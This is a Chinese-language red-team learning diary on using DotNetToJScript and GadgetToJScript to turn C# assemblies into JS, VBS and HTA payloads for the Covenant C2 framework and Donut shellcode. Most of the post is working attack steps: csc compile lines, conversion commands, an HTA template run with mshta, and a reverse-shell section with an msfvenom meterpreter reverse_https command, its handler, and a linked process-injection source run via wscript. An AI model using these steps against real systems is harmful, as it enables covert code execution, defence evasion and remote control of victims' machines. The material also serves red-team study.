黑客学徒日记-DotNetToJScript与GadgetToJScript

DotNetToJScript

C:\Windows\Microsoft.NET\Framework64\v4.0.50727\csc.exe /target:library hollowing.cs

DotNetToJScript.exe ExampleAssembly.dll –lang=Jscript –ver=v4,v2 -o runner.js

GadgetToJScript

在这篇文章中,我们将介绍如何利用 GadgetToJScript 生成各种受支持格式的有效负载,例如 HTA、JS、VBS 和 VBA(宏),这将执行我们的 covenant grunt(Grunt 是 Covenant C2 框架的植入物)。

Covenant 有默认启动器来生成 hta/js 有效负载,那么为什么我们还要使用 GadgetToJScript 工具来生成 hta/js 格式的 Covenant payload。

Covenant 使用 DotNetToJScript 生成 hta / js 格式的有效负载,在 Windows 10 环境它不能运行。 我们可以在描述字段中看到注释。

接下来我们介绍4款工具:

  1. DotNetToJScript 一种dll转 JScript、vbscript的工具。缺点是只支持.net2.0

  2. GadgetToJScript - 一种用于生成 .NET 序列化小工具的工具,当使用基于 JS/VBS 的脚本的 BinaryFormatter 反序列化时,可以触发 .NET 程序集加载/执行。当通过 jscript/vbscript 反序列化时,正在使用的小工具会触发对 Assembly.Load 的调用,这意味着它可以以相同的方式用于在运行时触发您自己的 shellcode 加载器的内存加载。

  3. Covenant - 一款C2

    Covenant 是一个 .NET 命令和控制框架,旨在突出 .NET 的攻击面,使攻击性 .NET 交易更容易使用,并作为红队人员的协作命令和控制平台。

  4. Donut - Donut 是一种 shellcode 生成工具,可从 .NET 程序集创建与位置无关的 shellcode 有效负载。此 shellcode 可用于将程序集注入任意 Windows 进程。给定任意 .NET 程序集、参数和入口点(例如 Program.Main),它会生成与位置无关的 shellcode,从内存中加载它。 .NET 程序集既可以从 URL 暂存,也可以通过直接嵌入到 shellcode 中无阶段进行。

Download GadgetToJScript,编译后获得GadgetToJScript.exe

dll to js

test.cs

1
2
3
4
5
6
7
8
9
10
11
12
using System.Windows.Forms;

namespace TestAssembly
{
public class Program
{
public Program()
{
MessageBox.Show("Test Assembly !!");
}
}
}

编译为test.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /target:library test.cs

test.dll 转换为test.js
GadgetToJScript.exe -w js -o test -a test.dll

js to hta

使用下面的hta模板,js文件填充到html中

1
2
3
4
5
6
7
8
<HTML>
<HEAD></HEAD>
<BODY>
<script language="javascript">
填充这里
</script>
</body>
</html>

mshta C:\Users\Local\Desktop\Tools\evasion\GadgetToJScript-master\GadgetToJScript\bin\Release\test.hta

Reverse Shell

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.18.30 lport=7898 -f csharp > /home/kali/Desktop/payload.txt

handler -H 192.168.18.30 -P 7898 -p windows/x64/meterpreter/reverse_https

cs源码请查看该文章 进程注入与迁移

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library 0520.cs

获得0520.dll, https://github.com/Whale3070/ctf-coding/blob/master/0520.cs

GadgetToJScript.exe -w js -o 0521 -a 0520.dll

wscirpt 0521.js

参考资料